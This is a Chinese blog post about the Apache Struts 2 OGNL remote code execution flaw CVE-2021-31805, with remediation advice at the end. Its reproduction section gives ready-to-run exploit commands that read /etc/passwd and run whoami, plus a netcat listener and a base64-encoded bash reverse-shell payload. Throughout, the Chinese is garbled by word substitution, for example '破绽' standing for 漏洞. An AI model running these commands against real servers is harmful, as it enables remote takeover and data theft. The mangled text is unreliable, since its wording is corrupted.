破绽描绘
Apache官方发布了Apache Struts 2的风险通告,破绽编号为CVE-2021-31805。该破绽是由于Apache对之前破绽 CVE-2020-17530的修复不完好形成的,是之前修复的绕过。这招致一些标签属性依然能够执行 OGNL 表达式,攻击者应用该破绽能够结构歹意数据,远程执行恣意代码。
Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它应用并延伸了Java Servlet API,鼓舞开发者采用MVC架构。
影响范围
2.0.0 <= Apache Struts2 <= 2.5.29
破绽复现
破绽考证脚本
https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id
反弹Shell
NC开启端口监听
nc -lvvp 8081
结构base64编码反弹shell脚本,应用如下网站生成:https://ir0ny.top/pentest/reverse-encoder-shell.html
获取Shell
python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"
胜利获取Shell
处理计划
1 如何检测组件系统版本
计划一
全盘搜索 struts2-core,假如存在 struts2-core-{version}.jar,且所运用的版本号在受影响范围内:
则用户可能受破绽影响。
计划二
假如项目是由 maven 编译的(普通在项目根目录下会有 pom.xml)
翻开 pom.xml 文件,如图:
在此文件中搜索 struts2-core,假如能够搜索到如下关键字,且所运用的版本号在受影响范围内,则可能受该破绽影响。
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.29</version>
</dependency>
2 官方修复倡议
当前官方已发布最新版本,倡议受影响的用户及时更新晋级到最新版本。链接如下:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者